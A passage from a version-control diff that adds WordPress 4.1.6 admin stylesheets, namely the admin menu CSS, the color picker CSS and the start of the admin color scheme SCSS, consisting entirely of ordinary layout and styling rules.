+	}
+
+	.about-wrap .dfw p {
+		max-width: 90%;
+	}
+}
+
+@media only screen and (max-width: 400px) {
+	.about-wrap .feature-list svg {
+		margin-top: 15px;
+		height: 65px;
+		width: 65px;
+	}
+	.about-wrap .feature-list.finer-points h4,
+	.about-wrap .feature-list.finer-points p {
+		margin-left: 80px;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/admin-menu.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/admin-menu.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/admin-menu.css	(revision 33402)
@@ -0,0 +1,922 @@
+#adminmenuback,
+#adminmenuwrap,
+#adminmenu,
+#adminmenu .wp-submenu {
+	width: 160px;
+	background-color: #222;
+}
+
+#adminmenuback {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	z-index: -1;
+}
+
+#adminmenu {
+	clear: left;
+	margin: 12px 0;
+	padding: 0;
+	list-style: none;
+}
+
+.folded #adminmenuback,
+.folded #adminmenuwrap,
+.folded #adminmenu,
+.folded #adminmenu li.menu-top {
+	width: 36px;
+}
+
+.icon16 {
+	height: 18px;
+	width: 18px;
+	padding: 6px 6px;
+	margin: -6px 0 0 -8px;
+	float: left;
+}
+
+/* New Menu icons */
+
+.icon16:before {
+	color: #999;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	padding: 6px 0;
+	height: 34px;
+	width: 20px;
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	-webkit-transition: all .1s ease-in-out;
+	transition: all .1s ease-in-out;
+}
+
+.icon16.icon-dashboard:before {
+	content: '\f226';
+}
+
+.icon16.icon-post:before {
+	content: '\f109';
+}
+
+.icon16.icon-media:before {
+	content: '\f104';
+}
+
+.icon16.icon-links:before {
+	content: '\f103';
+}
+
+.icon16.icon-page:before {
+	content: '\f105';
+}
+
+.icon16.icon-comments:before {
+	content: '\f101';
+	margin-top: 1px;
+}
+
+.icon16.icon-appearance:before {
+	content: '\f100';
+}
+
+.icon16.icon-plugins:before {
+	content: '\f106';
+}
+
+.icon16.icon-users:before {
+	content: '\f110';
+}
+
+.icon16.icon-tools:before {
+	content: '\f107';
+}
+
+.icon16.icon-settings:before {
+	content: '\f108';
+}
+
+.icon16.icon-site:before {
+	content: '\f112'
+}
+
+.icon16.icon-generic:before {
+	content: '\f111';
+}
+
+/* hide background-image for icons above */
+.icon16.icon-dashboard,
+.menu-icon-dashboard div.wp-menu-image,
+.icon16.icon-post,
+.menu-icon-post div.wp-menu-image,
+.icon16.icon-media,
+.menu-icon-media div.wp-menu-image,
+.icon16.icon-links,
+.menu-icon-links div.wp-menu-image,
+.icon16.icon-page,
+.menu-icon-page div.wp-menu-image,
+.icon16.icon-comments,
+.menu-icon-comments div.wp-menu-image,
+.icon16.icon-appearance,
+.menu-icon-appearance div.wp-menu-image,
+.icon16.icon-plugins,
+.menu-icon-plugins div.wp-menu-image,
+.icon16.icon-users,
+.menu-icon-users div.wp-menu-image,
+.icon16.icon-tools,
+.menu-icon-tools div.wp-menu-image,
+.icon16.icon-settings,
+.menu-icon-settings div.wp-menu-image,
+.icon16.icon-site,
+.menu-icon-site div.wp-menu-image,
+.icon16.icon-generic,
+.menu-icon-generic div.wp-menu-image {
+	background-image: none !important;
+}
+
+/*------------------------------------------------------------------------------
+  7.0 - Main Navigation (Left Menu)
+------------------------------------------------------------------------------*/
+
+#adminmenuwrap {
+	position: relative;
+	float: left;
+	z-index: 9990;
+}
+
+/* side admin menu */
+#adminmenu * {
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#adminmenu li {
+	margin: 0;
+	padding: 0;
+	cursor: pointer;
+}
+
+#adminmenu a {
+	display: block;
+	line-height: 18px;
+	padding: 2px 5px;
+	color: #eee;
+}
+
+#adminmenu .wp-submenu a {
+	color: #bbb;
+}
+
+#adminmenu .wp-submenu a:hover,
+#adminmenu .wp-submenu a:focus {
+	background: none;
+}
+
+#adminmenu a:hover,
+#adminmenu li.menu-top > a:focus,
+#adminmenu .wp-submenu a:hover,
+#adminmenu .wp-submenu a:focus {
+	color: #45bbe6;
+}
+
+#adminmenu li.menu-top {
+	border: none;
+	min-height: 34px;
+	position: relative;
+}
+
+#adminmenu .wp-submenu {
+	list-style: none;
+	position: absolute;
+	top: -1000em;
+	left: 160px;
+	overflow: visible;
+	word-wrap: break-word;
+}
+
+#adminmenu .wp-submenu,
+.folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu {
+	padding: 7px 0 8px;
+	z-index: 9999;
+	background-color: #333;
+	-webkit-box-shadow: 0 3px 5px rgba(0,0,0,0.2);
+	box-shadow: 0 3px 5px rgba(0,0,0,0.2);
+}
+
+.js #adminmenu .sub-open,
+.js #adminmenu .opensub .wp-submenu,
+#adminmenu a.menu-top:focus + .wp-submenu,
+.no-js li.wp-has-submenu:hover .wp-submenu {
+	top: -1px;
+}
+
+#adminmenu .wp-has-current-submenu .wp-submenu,
+.no-js li.wp-has-current-submenu:hover .wp-submenu,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+#adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
+#adminmenu .wp-has-current-submenu.opensub .wp-submenu {
+	position: relative;
+	z-index: 3;
+	top: auto;
+	left: auto;
+	right: auto;
+	bottom: auto;
+	border: 0 none;
+	margin-top: 0;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	background-color: #333;
+}
+
+/* ensure that wp-submenu's box shadow doesn't appear on top of the focused menu item's background. */
+#adminmenu li.menu-top:hover,
+#adminmenu li.opensub > a.menu-top,
+#adminmenu li > a.menu-top:focus {
+	position: relative;
+	background-color: #111;
+}
+
+.folded #adminmenu li.menu-top:hover,
+.folded #adminmenu li.opensub > a.menu-top,
+.folded #adminmenu li > a.menu-top:focus {
+	z-index: 10000;
+}
+
+#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
+#adminmenu li.current a.menu-top,
+.folded #adminmenu li.wp-has-current-submenu,
+.folded #adminmenu li.current.menu-top,
+#adminmenu .wp-menu-arrow,
+#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head,
+#adminmenu .wp-menu-arrow div {
+	background: #0074a2;
+	color: #fff;
+}
+
+.folded #adminmenu .wp-submenu.sub-open,
+.folded #adminmenu .opensub .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
+.folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu,
+.folded #adminmenu a.menu-top:focus + .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu,
+.no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu  {
+	top: 0;
+	left: 36px;
+}
+
+.folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu {
+	position: absolute;
+	top: -1000em;
+}
+
+#adminmenu .wp-not-current-submenu .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu {
+	min-width: 160px;
+	width: auto;
+}
+
+#adminmenu .wp-submenu a {
+	font-size: 13px;
+	line-height: 1.2;
+	margin: 0;
+	padding: 6px 0;
+}
+
+#adminmenu .wp-submenu li.current,
+#adminmenu .wp-submenu li.current a,
+#adminmenu .opensub .wp-submenu li.current a,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
+#adminmenu .wp-submenu li.current a:hover,
+#adminmenu .wp-submenu li.current a:focus {
+	color: #fff;
+}
+
+#adminmenu .wp-not-current-submenu li > a,
+.folded #adminmenu .wp-has-current-submenu li > a {
+	padding-right: 16px;
+	padding-left: 14px;
+	-webkit-transition: all .1s ease-in-out;
+	transition: all .1s ease-in-out;
+}
+
+#adminmenu .wp-has-current-submenu ul > li > a,
+.folded #adminmenu li.menu-top .wp-submenu > li > a {
+	padding: 6px 12px;
+}
+
+#adminmenu a.menu-top,
+#adminmenu .wp-submenu-head {
+	font-size: 14px;
+	font-weight: 400;
+	line-height: 18px;
+	padding: 0;
+}
+
+#adminmenu .wp-submenu-head,
+.folded #adminmenu .wp-menu-name {
+	display: none;
+}
+
+.folded #adminmenu .wp-submenu-head {
+	display: block;
+}
+
+#adminmenu .wp-submenu li {
+	padding: 0;
+	margin: 0;
+	overflow: hidden;
+}
+
+#adminmenu .wp-menu-image img {
+	padding: 9px 0 0 0;
+	opacity: 0.6;
+	filter: alpha(opacity=60);
+}
+
+#adminmenu div.wp-menu-name {
+	padding: 8px 0;
+}
+
+#adminmenu div.wp-menu-image {
+	float: left;
+	width: 36px;
+	height: 34px;
+	margin: 0;
+	text-align: center;
+}
+
+#adminmenu div.wp-menu-image.svg {
+	background-repeat: no-repeat;
+	background-position: center;
+	-webkit-background-size: 20px auto;
+	background-size: 20px auto;
+}
+
+div.wp-menu-image:before {
+	color: #999;
+	padding: 7px 0;
+	-webkit-transition: all .1s ease-in-out;
+	transition: all .1s ease-in-out;
+}
+
+#adminmenu div.wp-menu-image:before {
+	color: #999;
+}
+
+#adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before,
+#adminmenu .wp-has-current-submenu div.wp-menu-image:before,
+#adminmenu .current div.wp-menu-image:before,
+#adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before,
+#adminmenu a.current:hover div.wp-menu-image:before {
+	color: #fff;
+}
+
+#adminmenu li:hover div.wp-menu-image:before {
+	color: #45bbe6;
+}
+
+.folded #adminmenu div.wp-menu-image {
+	width: 35px;
+	height: 30px;
+	position: absolute;
+	z-index: 25;
+}
+
+.folded #adminmenu a.menu-top {
+	height: 34px;
+}
+
+/* No @font-face support */
+.no-font-face #adminmenu .wp-menu-image {
+	display: none;
+}
+
+.no-font-face #adminmenu div.wp-menu-name {
+	padding: 8px 12px;
+}
+
+.no-font-face.auto-fold #adminmenu .wp-menu-name {
+	margin-left: 0;
+}
+/* End no @font-face support */
+
+/* Sticky admin menu */
+.sticky-menu #adminmenuwrap {
+	position: fixed;
+}
+
+/* A new arrow */
+
+.wp-menu-arrow {
+	display: none !important;
+}
+
+ul#adminmenu a.wp-has-current-submenu {
+	position: relative;
+}
+
+ul#adminmenu a.wp-has-current-submenu:after,
+ul#adminmenu > li.current > a.current:after {
+	right: 0;
+	border: solid 8px transparent;
+	content: " ";
+	height: 0;
+	width: 0;
+	position: absolute;
+	pointer-events: none;
+	border-right-color: #f1f1f1;
+	top: 50%;
+	margin-top: -8px;
+}
+
+.folded ul#adminmenu li:hover a.wp-has-current-submenu:after {
+	display: none;
+}
+
+.folded ul#adminmenu a.wp-has-current-submenu:after,
+.folded ul#adminmenu > li a.current:after {
+	border-width: 4px;
+	margin-top: -4px;
+}
+
+/* flyout menu arrow */
+#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after {
+	right: 0;
+	border: solid transparent;
+	content: " ";
+	height: 0;
+	width: 0;
+	position: absolute;
+	pointer-events: none;
+	border-width: 8px;
+	top: 10px;
+	z-index: 10000;
+}
+
+.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after {
+	border-width: 4px;
+	margin-top: -4px;
+	top: 18px;
+}
+
+#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after {
+	border-right-color: #333;
+}
+
+#adminmenu li.menu-top:hover .wp-menu-image img,
+#adminmenu li.wp-has-current-submenu .wp-menu-image img {
+	opacity: 1;
+	filter: alpha(opacity=100);
+}
+
+#adminmenu li.wp-menu-separator {
+	height: 5px;
+	padding: 0;
+	margin: 0 0 6px 0;
+	cursor: inherit;
+}
+
+/* @todo: is this even needed given that it's nested beneath the above li.wp-menu-separator? */
+#adminmenu div.separator {
+	height: 2px;
+	padding: 0;
+}
+
+#adminmenu .wp-submenu .wp-submenu-head {
+	color: #fff;
+	font-weight: 400;
+	font-size: 14px;
+	padding: 8px 4px 8px 11px;
+	margin: -7px 0px 4px;
+}
+
+#adminmenu li.current,
+.folded #adminmenu li.wp-menu-open {
+	border: 0 none;
+}
+
+#adminmenu .awaiting-mod,
+#adminmenu .update-plugins,
+#sidemenu li a span.update-plugins {
+	display: inline-block;
+	background-color: #d54e21;
+	color: #fff;
+	font-size: 9px;
+	line-height: 17px;
+	font-weight: 600;
+	margin: 1px 0 0 2px;
+	vertical-align: top;
+	-webkit-border-radius: 10px;
+	border-radius: 10px;
+	z-index: 26;
+}
+
+#adminmenu li .awaiting-mod span,
+#adminmenu li span.update-plugins span,
+#sidemenu li a span.update-plugins span {
+	display: block;
+	padding: 0 6px;
+}
+
+#adminmenu li.current a .awaiting-mod,
+#adminmenu	li a.wp-has-current-submenu .update-plugins {
+	background-color: #45bbe6;
+	color: #fff;
+}
+
+#adminmenu li span.count-0,
+#sidemenu li a .count-0 {
+	display: none;
+}
+
+#collapse-menu {
+	font-size: 13px;
+	line-height: 34px;
+	margin-top: 10px;
+	color: #aaa;
+	-webkit-transition: all .1s ease-in-out;
+	transition: all .1s ease-in-out;
+}
+
+#collapse-menu:hover,
+#collapse-menu:hover #collapse-button div:after {
+	color: #45bbe6;
+}
+
+.folded #collapse-menu span {
+	display: none;
+}
+
+#collapse-button,
+#collapse-button div {
+	width: 15px;
+	height: 15px;
+}
+
+#collapse-button {
+	float: left;
+	height: 15px;
+	margin: 10px 8px 10px 11px;
+	width: 15px;
+	-webkit-border-radius: 10px;
+	border-radius: 10px;
+}
+
+#wpwrap #collapse-button div {
+	padding: 0;
+}
+
+#collapse-button div:after {
+	content: '\f148';
+	display: block;
+	line-height: 15px;
+	left: -3px;
+	top: -3px;
+	color: #aaa;
+	font: normal 20px/1 'dashicons' !important;
+	speak: none;
+	margin: 0 auto;
+	padding: 0 !important;
+	position: relative;
+	text-align: center;
+	width: 20px;
+	-webkit-transition: all .1s ease-in-out;
+	transition: all .1s ease-in-out;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.folded #collapse-button div:after,
+.rtl #collapse-button div:after {
+	-webkit-transform: rotate(180deg);
+	-ms-transform: rotate(180deg);
+	transform: rotate(180deg);
+}
+
+.rtl.folded #collapse-button div:after {
+	-webkit-transform: none;
+	-ms-transform: none;
+	transform: none;
+}
+
+/**
+ * Toolbar menu toggle
+ */
+li#wp-admin-bar-menu-toggle {
+	display: none;
+}
+
+/* Hide-if-customize for items we can't add classes to */
+.customize-support #menu-appearance a[href="themes.php?page=custom-header"],
+.customize-support #menu-appearance a[href="themes.php?page=custom-background"] {
+	display: none;
+}
+
+/* Auto-folding of the admin menu */
+@media only screen and (max-width: 960px) {
+	.auto-fold #wpcontent,
+	.auto-fold #wpfooter {
+		margin-left: 36px;
+	}
+
+	.auto-fold #adminmenuback,
+	.auto-fold #adminmenuwrap,
+	.auto-fold #adminmenu,
+	.auto-fold #adminmenu li.menu-top {
+		width: 36px;
+	}
+
+	.auto-fold #adminmenu .wp-submenu.sub-open,
+	.auto-fold #adminmenu .opensub .wp-submenu,
+	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
+	.auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu,
+	.auto-fold #adminmenu a.menu-top:focus + .wp-submenu,
+	.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu  {
+		top: 0px;
+		left: 36px;
+	}
+
+	.auto-fold #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu {
+		position: absolute;
+		top: -1000em;
+		margin-right: -1px;
+		padding: 7px 0 8px;
+		z-index: 9999;
+	}
+
+	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu {
+		min-width: 150px;
+		width: auto;
+	}
+
+	.auto-fold #adminmenu .wp-has-current-submenu li > a {
+		padding-right: 16px;
+		padding-left: 14px;
+	}
+
+
+	.auto-fold #adminmenu li.menu-top .wp-submenu > li > a {
+		padding-left: 12px;
+	}
+
+	.auto-fold #adminmenu .wp-menu-name {
+		display: none;
+	}
+
+	.auto-fold #adminmenu .wp-submenu-head {
+		display: block;
+	}
+
+	.auto-fold #adminmenu div.wp-menu-image {
+		height: 30px;
+		width: 34px;
+		position: absolute;
+		z-index: 25;
+	}
+
+	.auto-fold #adminmenu a.menu-top {
+		height: 34px;
+	}
+
+	.auto-fold #adminmenu li.wp-menu-open {
+		border: 0 none;
+	}
+
+	.auto-fold #adminmenu .wp-has-current-submenu.menu-top-last {
+		margin-bottom: 0;
+	}
+
+	.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after {
+		display: none;
+	}
+
+	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after {
+		border-width: 4px;
+		margin-top: -4px;
+		top: 16px;
+	}
+
+	.auto-fold ul#adminmenu a.wp-has-current-submenu:after,
+	.auto-fold ul#adminmenu > li a.current:after {
+		border-width: 4px;
+		margin-top: -4px;
+	}
+
+	.auto-fold #adminmenu li.menu-top:hover,
+	.auto-fold #adminmenu li.opensub > a.menu-top,
+	.auto-fold #adminmenu li > a.menu-top:focus {
+		z-index: 10000;
+	}
+
+	.auto-fold #collapse-menu span {
+		display: none;
+	}
+
+	.auto-fold #collapse-button div {
+		background: none;
+	}
+
+	.auto-fold #collapse-button div:after {
+		-webkit-transform: rotate(180deg);
+		-ms-transform: rotate(180deg);
+		transform: rotate(180deg);
+	}
+
+	.rtl.auto-fold #collapse-button div:after {
+		-webkit-transform: none;
+		-ms-transform: none;
+		transform: none;
+	}
+
+}
+
+@media screen and ( max-width: 782px ) {
+	.auto-fold #wpcontent {
+		position: relative;
+		margin-left: 0;
+		padding-left: 10px;
+	}
+
+	.sticky-menu #adminmenuwrap {
+		position: relative;
+		z-index: auto;
+		top: 0;
+	}
+
+	/* Sidebar Adjustments */
+	.auto-fold #adminmenu,
+	.auto-fold #adminmenuback,
+	.auto-fold #adminmenuwrap {
+		position: absolute;
+		width: 190px;
+		z-index: 100;
+	}
+
+	.auto-fold #adminmenuback,
+	.auto-fold #adminmenuwrap {
+		display: none;
+	}
+
+	.auto-fold .wp-responsive-open #adminmenuback,
+	.auto-fold .wp-responsive-open #adminmenuwrap {
+		display: block;
+	}
+
+	.auto-fold #adminmenu li.menu-top {
+		width: 100%;
+	}
+
+	/* Resize the admin menu items to a comfortable touch size */
+	.auto-fold #adminmenu li a {
+		font-size: 16px;
+		padding: 5px;
+	}
+
+	.auto-fold #adminmenu li.menu-top .wp-submenu > li > a {
+		padding: 10px 10px 10px 20px;
+	}
+
+	/* Restore the menu names */
+	.auto-fold #adminmenu .wp-menu-name {
+		display: block;
+		margin-left: 35px;
+	}
+
+	/* Switch the arrow side */
+	.auto-fold ul#adminmenu a.wp-has-current-submenu:after,
+	.auto-fold ul#adminmenu > li.current > a.current:after {
+		border-width: 8px;
+		margin-top: -8px;
+	}
+
+	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after {
+		display: none;
+	}
+
+	/* Make the submenus appear correctly when tapped. */
+	#adminmenu .wp-submenu {
+		position: relative;
+		display: none;
+	}
+
+	.auto-fold #adminmenu .selected .wp-submenu,
+	.auto-fold #adminmenu .wp-menu-open .wp-submenu {
+		position: relative;
+		display: block;
+		top: 0;
+		left: -1px;
+		-webkit-box-shadow: none;
+		box-shadow: none;
+	}
+
+	.auto-fold #adminmenu .selected .wp-submenu:after,
+	.auto-fold #adminmenu .wp-menu-open .wp-submenu:after {
+		display: none;
+	}
+
+	.auto-fold #adminmenu .opensub .wp-submenu {
+		display: none;
+	}
+
+	.auto-fold #adminmenu .selected .wp-submenu {
+		display: block;
+	}
+
+	.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after {
+		display: block;
+	}
+
+	.auto-fold #adminmenu a.menu-top:focus + .wp-submenu,
+	.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu {
+		position: relative;
+		left: -1px;
+		right: 0;
+		top: 0;
+	}
+
+	/* Remove submenu headers and adjust sub meu*/
+	#adminmenu .wp-submenu .wp-submenu-head {
+		display: none;
+	}
+
+	/* Toolbar menu toggle */
+	#wp-responsive-toggle {
+		position: fixed;
+		top: 5px;
+		left: 4px;
+		padding-right: 10px;
+		z-index: 99999;
+		border: none;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing: border-box;
+		box-sizing: border-box;
+	}
+
+	#wpadminbar #wp-admin-bar-menu-toggle a {
+		display: block;
+		padding: 0;
+		overflow: hidden;
+		outline: none;
+		text-decoration: none;
+		border: 1px solid transparent;
+		background: none;
+		height: 44px;
+		margin-left: -1px;
+	}
+
+	.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
+		background: #333;
+	}
+
+	li#wp-admin-bar-menu-toggle {
+		display: block;
+	}
+
+	#wpadminbar #wp-admin-bar-menu-toggle a:hover {
+		border: 1px solid transparent;
+	}
+
+	#wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
+		content: '\f228';
+		display: inline-block;
+		float: left;
+		font: normal 40px/45px 'Dashicons';
+		vertical-align: middle;
+		outline: none;
+		margin: 0;
+		-webkit-font-smoothing: antialiased;
+		-moz-osx-font-smoothing: grayscale;
+		height: 44px;
+		width: 50px;
+		padding: 0;
+		border: none;
+		text-align: center;
+		text-decoration: none;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing: border-box;
+		box-sizing: border-box;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	#adminmenuwrap,
+	#adminmenuback {
+		display: none;
+	}
+
+	.wp-responsive-open #adminmenuwrap,
+	.wp-responsive-open #adminmenuback {
+		display: block;
+	}
+
+	.auto-fold #adminmenu {
+		top: 46px;
+	}
+}
+
Index: /tags/4.1.6/src/wp-admin/css/color-picker.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/color-picker.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/color-picker.css	(revision 33402)
@@ -0,0 +1,127 @@
+.wp-color-picker {
+	width: 80px;
+}
+
+.wp-picker-container .hidden {
+	display: none;
+}
+
+.wp-color-result {
+	background-color: #f7f7f7;
+	border: 1px solid #ccc;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	cursor: pointer;
+	display: inline-block;
+	height: 22px;
+	margin: 0 6px 6px 0px;
+	position: relative;
+	top: 1px;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+	vertical-align: bottom;
+	display: inline-block;
+	padding-left: 30px;
+	-webkit-box-shadow: 0 1px 0 rgba(0,0,0,.08);
+	box-shadow: 0 1px 0 rgba(0,0,0,.08);
+}
+
+.wp-color-result:after {
+	background: #f7f7f7;
+	-webkit-border-radius: 0 2px 2px 0;
+	border-radius: 0 2px 2px 0;
+	border-left: 1px solid #ccc;
+	color: #555;
+	content: attr( title );
+	display: block;
+	font-size: 11px;
+	line-height: 22px;
+	padding: 0 6px;
+	position: relative;
+	right: 0;
+	text-align: center;
+	top: 0;
+	-webkit-box-shadow: inset 0 1px 0 #fff;
+	box-shadow: inset 0 1px 0 #fff;
+}
+
+.wp-color-result:hover,
+.wp-color-result:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #222;
+}
+
+.wp-color-result:hover:after,
+.wp-color-result:focus:after {
+	color: #222;
+	border-color: #aaa;
+	border-left: 1px solid #999;
+}
+
+.wp-color-result {
+	top: 0;
+}
+
+.wp-color-result.wp-picker-open:after {
+	content: attr( data-current );
+}
+
+.wp-picker-container, .wp-picker-container:active {
+	display: inline-block;
+	outline: 0;
+}
+
+.wp-color-result:focus {
+	-webkit-box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba( 30, 140, 190, 0.8 );
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba( 30, 140, 190, 0.8 );
+}
+
+.wp-picker-open + .wp-picker-input-wrap {
+	display: inline-block;
+	vertical-align: top;
+}
+
+.wp-picker-container .button {
+	margin-left: 6px;
+}
+
+.wp-picker-container .iris-square-slider .ui-slider-handle:focus {
+	background-color: #555
+}
+
+.wp-picker-container .iris-picker {
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	border-color: #dfdfdf;
+	margin-top: 6px;
+}
+
+.wp-picker-container input[type="text"].wp-color-picker {
+	width: 65px;
+	font-size: 12px;
+	font-family: monospace;
+	text-align: center;
+	line-height: 16px;
+	margin: 0;
+}
+
+.wp-picker-container input[type="text"].wp-color-picker:focus::-webkit-input-placeholder {
+	color: transparent;
+}
+
+.wp-picker-container input[type="text"].wp-color-picker:-moz-placeholder {
+	color: #999;
+}
+
+.wp-picker-container input[type="text"].iris-error {
+	background-color: #ffebe8;
+	border-color: #c00;
+	color: #000;
+}
Index: /tags/4.1.6/src/wp-admin/css/colors/_admin.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/_admin.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/_admin.scss	(revision 33402)
@@ -0,0 +1,527 @@
+
+@import 'variables';
+@import 'mixins';
+
+
+html {
+	background: $body-background;
+}
+
+
+/* Links */
+
+a {
+	color: $link;
+
+	&:hover,
+	&:active,
+	&:focus {
+		color: $link-focus;
+	}
+}
+
+#media-upload a.del-link:hover,
+div.dashboard-widget-submit input:hover,
+.subsubsub a:hover,
+.subsubsub a.current:hover {
+	color: $link-focus;
+}
+
+
+/* Forms */
+
+input[type=checkbox]:checked:before {
+	color: $form-checked;
+}
+
+input[type=radio]:checked:before {
+	background: $form-checked;
+}
+
+.wp-core-ui input[type="reset"]:hover,
+.wp-core-ui input[type="reset"]:active {
+	color: $link-focus;
+}
+
+
+/* Core UI */
+
+.wp-core-ui {
+	.button-primary {
+		@include button( $button-color );
+	}
+
+	.wp-ui-primary {
+		color: $text-color;
+		background-color: $base-color;
+	}
+	.wp-ui-text-primary {
+		color: $base-color;
+	}
+
+	.wp-ui-highlight {
+		color: $menu-highlight-text;
+		background-color: $menu-highlight-background;
+	}
+	.wp-ui-text-highlight {
+		color: $menu-highlight-background;
+	}
+
+	.wp-ui-notification {
+		color: $menu-bubble-text;
+		background-color: $menu-bubble-background;
+	}
+	.wp-ui-text-notification {
+		color: $menu-bubble-background;
+	}
+
+	.wp-ui-text-icon {
+		color: $menu-icon;
+	}
+}
+
+
+/* List tables */
+
+.wrap .add-new-h2:hover,
+#add-new-comment a:hover,
+.tablenav .tablenav-pages a:hover,
+.tablenav .tablenav-pages a:focus {
+	color: $menu-text;
+	background-color: $menu-background;
+}
+
+.view-switch a.current:before {
+	color: $menu-background;
+}
+
+.view-switch a:hover:before {
+	color: $menu-bubble-background;
+}
+
+.post-com-count:hover:after {
+	border-top-color: $menu-background;
+}
+.post-com-count:hover span {
+	color: $menu-text;
+	background-color: $menu-background;
+}
+
+strong .post-com-count:after {
+	border-top-color: $menu-bubble-background;
+}
+strong .post-com-count span {
+	background-color: $menu-bubble-background;
+}
+
+
+/* Admin Menu */
+
+#adminmenuback,
+#adminmenuwrap,
+#adminmenu {
+	background: $menu-background;
+}
+
+#adminmenu a {
+	color: $menu-text;
+}
+
+#adminmenu div.wp-menu-image:before {
+	color: $menu-icon;
+}
+
+#adminmenu a:hover,
+#adminmenu li.menu-top:hover,
+#adminmenu li.opensub > a.menu-top,
+#adminmenu li > a.menu-top:focus {
+	color: $menu-highlight-text;
+	background-color: $menu-highlight-background;
+}
+
+#adminmenu li.menu-top:hover div.wp-menu-image:before,
+#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
+	color: $menu-highlight-icon;
+}
+
+
+/* Active tabs use a bottom border color that matches the page background color. */
+
+.about-wrap h2 .nav-tab-active,
+.nav-tab-active,
+.nav-tab-active:hover {
+	background-color: $body-background;
+	border-bottom-color: $body-background;
+}
+
+
+/* Admin Menu: submenu */
+
+#adminmenu .wp-submenu,
+#adminmenu .wp-has-current-submenu .wp-submenu,
+#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
+	background: $menu-submenu-background;
+}
+
+#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after {
+	border-right-color: $menu-submenu-background;
+}
+
+#adminmenu .wp-submenu .wp-submenu-head {
+	color: $menu-submenu-text;
+}
+
+#adminmenu .wp-submenu a,
+#adminmenu .wp-has-current-submenu .wp-submenu a,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu a,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
+#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
+	color: $menu-submenu-text;
+
+	&:focus, &:hover {
+		color: $menu-submenu-focus-text;
+	}
+}
+
+
+/* Admin Menu: current */
+
+#adminmenu .wp-submenu li.current a,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
+#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
+	color: $menu-submenu-current-text;
+
+	&:hover, &:focus {
+		color: $menu-submenu-focus-text;
+	}
+}
+
+ul#adminmenu a.wp-has-current-submenu:after,
+ul#adminmenu > li.current > a.current:after {
+    border-right-color: $body-background;
+}
+
+#adminmenu li.current a.menu-top,
+#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
+#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
+.folded #adminmenu li.current.menu-top {
+	color: $menu-current-text;
+	background: $menu-current-background;
+}
+
+#adminmenu li.wp-has-current-submenu div.wp-menu-image:before {
+	color: $menu-current-icon;
+}
+
+
+/* Admin Menu: bubble */
+
+#adminmenu .awaiting-mod,
+#adminmenu .update-plugins {
+	color: $menu-bubble-text;
